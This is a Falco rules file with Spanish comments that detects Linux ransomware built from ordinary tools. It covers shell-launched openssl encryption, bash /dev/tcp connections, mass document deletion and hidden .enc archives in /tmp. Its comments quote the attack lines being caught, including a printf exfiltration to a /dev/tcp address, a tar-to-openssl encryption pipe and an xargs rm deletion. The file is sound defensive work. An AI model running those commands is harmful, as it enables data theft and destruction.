152 lines
5.6 KiB
YAML
152 lines
5.6 KiB
YAML
# Falco rules: detección comportamental de ransomware LOLBin
|
|
# Probadas contra tarbulk.sh y xargs_ransom.sh
|
|
# MITRE ATT&CK: T1059.004 (Unix Shell), T1486 (Data Encrypted for Impact), T1048 (Exfiltration)
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Macros
|
|
# ---------------------------------------------------------------------------
|
|
|
|
- macro: shell_proc
|
|
condition: proc.name in (bash, sh, dash, ksh, zsh)
|
|
|
|
- macro: doc_extensions
|
|
condition: >
|
|
fd.name endswith ".txt" or
|
|
fd.name endswith ".pdf" or
|
|
fd.name endswith ".docx" or
|
|
fd.name endswith ".doc" or
|
|
fd.name endswith ".db" or
|
|
fd.name endswith ".sh" or
|
|
fd.name endswith ".zip"
|
|
|
|
- macro: user_dirs
|
|
condition: >
|
|
fd.directory startswith "/home" or
|
|
fd.directory startswith "/root" or
|
|
fd.directory startswith "/var/www"
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Regla 1: openssl enc invocado desde shell sin -in (leyendo de pipe)
|
|
#
|
|
# Detecta: tar ... | openssl enc ... > /tmp/.vault.enc
|
|
# También detecta la variante xargs con -pass pass:KEY
|
|
#
|
|
# Falsos positivos esperados: scripts de backup legítimos que cifren con
|
|
# openssl. Mitigar añadiendo proc.aname[2] != "cron" o whitelistando usuarios
|
|
# de backup en allowed_backup_users.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
- list: allowed_backup_users
|
|
items: [backup, root]
|
|
|
|
- rule: Shell Spawning OpenSSL Bulk Encryption
|
|
desc: >
|
|
Un proceso shell invocó openssl enc con cifrado AES. Sin -in explícito
|
|
(lee de pipe) y con -pass en línea de comandos. Patrón característico
|
|
de ransomware LOLBin via tar|openssl o xargs|openssl.
|
|
condition: >
|
|
spawned_process and
|
|
shell_proc and
|
|
proc.name = "openssl" and
|
|
proc.cmdline contains "enc" and
|
|
proc.cmdline contains "aes" and
|
|
proc.cmdline contains "-pass" and
|
|
not user.name in (allowed_backup_users)
|
|
output: >
|
|
openssl enc desde shell, posible cifrado masivo
|
|
(user=%user.name uid=%user.uid
|
|
cmd=%proc.cmdline
|
|
parent=%proc.pname ppid=%proc.ppid)
|
|
priority: WARNING
|
|
tags: [lolbin, ransomware, T1486, T1059.004]
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Regla 2: bash abriendo socket TCP directamente (/dev/tcp)
|
|
#
|
|
# Detecta: printf '...' > /dev/tcp/192.168.1.5/9090
|
|
#
|
|
# bash no debería abrir conexiones TCP salientes directamente.
|
|
# Si lo hace, es exfiltración via /dev/tcp o reverse shell.
|
|
#
|
|
# Falsos positivos: scripts de healthcheck que usen /dev/tcp para probar
|
|
# conectividad. Mitigar con proc.pname != "systemd" o allowlist de puertos.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
- list: allowed_tcp_dests
|
|
items: [] # añadir IPs internas si hay falsos positivos
|
|
|
|
- rule: Bash Native TCP Exfiltration
|
|
desc: >
|
|
bash abrió un socket TCP directo. Indica uso de /dev/tcp, técnica de
|
|
exfiltración que no requiere curl, wget ni ningún binario externo.
|
|
Alta fidelidad: bash no debería conectarse a la red directamente.
|
|
condition: >
|
|
evt.type = connect and
|
|
fd.typechar = "4" and
|
|
shell_proc and
|
|
not fd.rip in (allowed_tcp_dests)
|
|
output: >
|
|
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
|
|
(user=%user.name uid=%user.uid
|
|
dst=%fd.rip:%fd.rport
|
|
pid=%proc.pid cmd=%proc.cmdline)
|
|
priority: CRITICAL
|
|
tags: [lolbin, exfiltration, T1048, T1059.004]
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Regla 3: eliminación masiva de documentos de usuario desde shell
|
|
#
|
|
# Detecta: printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
|
# (3470 llamadas unlink en ~4 segundos)
|
|
#
|
|
# Esta regla se dispara una vez por archivo eliminado. El VOLUMEN es la
|
|
# señal: 3470 alertas en 4 segundos es inconfundible en un SIEM.
|
|
# Con Falco + Falcosidekick puedes agregar y alertar sobre el rate.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
- rule: Mass Document Deletion by Shell Process
|
|
desc: >
|
|
Proceso shell eliminando archivos de documento en directorios de usuario.
|
|
Individualmente normal; a escala (cientos/segundo) es la fase de
|
|
destrucción de ransomware. Correlacionar con Regla 1 para alta confianza.
|
|
condition: >
|
|
evt.type in (unlink, unlinkat) and
|
|
proc.name in (rm, bash, sh) and
|
|
doc_extensions and
|
|
user_dirs
|
|
output: >
|
|
documento de usuario eliminado por proceso shell
|
|
(user=%user.name uid=%user.uid
|
|
file=%fd.name
|
|
proc=%proc.name cmd=%proc.cmdline)
|
|
priority: WARNING
|
|
tags: [ransomware, destruction, T1486]
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Regla 4: archivo opaco grande creado en /tmp
|
|
#
|
|
# Detecta: openssl enc ... > /tmp/.vault.enc (29 MB, nombre con punto)
|
|
#
|
|
# Un archivo con nombre oculto (punto) y extensión .enc en /tmp es
|
|
# indicador fuerte de staging de datos exfiltrados o vault cifrado.
|
|
# ---------------------------------------------------------------------------
|
|
|
|
- rule: Hidden Encrypted Archive Staged in Tmp
|
|
desc: >
|
|
Se creó un archivo oculto con extensión .enc en /tmp. Patrón de
|
|
tarbulk: el vault cifrado se escribe en /tmp antes de exfiltrarse.
|
|
Los archivos legítimos en /tmp raramente tienen nombre oculto + .enc.
|
|
condition: >
|
|
evt.type in (open, openat) and
|
|
evt.arg.flags contains O_CREAT and
|
|
fd.directory = "/tmp" and
|
|
fd.filename startswith "." and
|
|
fd.name endswith ".enc"
|
|
output: >
|
|
archivo cifrado oculto creado en /tmp, posible vault de ransomware
|
|
(user=%user.name uid=%user.uid
|
|
file=%fd.name
|
|
proc=%proc.name cmd=%proc.cmdline)
|
|
priority: CRITICAL
|
|
tags: [ransomware, staging, T1486, T1074]
|